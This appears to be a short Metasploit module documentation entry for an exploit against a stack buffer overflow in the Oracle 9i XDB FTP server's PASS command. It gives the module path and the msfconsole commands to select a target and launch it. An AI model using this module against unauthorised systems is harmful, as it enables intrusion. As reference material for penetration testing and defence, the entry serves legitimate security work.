By passing an overly long string to the PASS command, a stack based buffer overflow occurs. David Litchfield, has illustrated multiple vulnerabilities in the Oracle 9i XML Database (XDB), during a seminar on "Variations in exploit methods between Linux and Windows" presented at the Blackhat conference.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/ftp/oracle9i_xdb_ftp_pass
msf exploit(oracle9i_xdb_ftp_pass) > show targets
...targets...
msf exploit(oracle9i_xdb_ftp_pass) > set TARGET < target-id >
msf exploit(oracle9i_xdb_ftp_pass) > show options
...show and set options...
msf exploit(oracle9i_xdb_ftp_pass) > exploit
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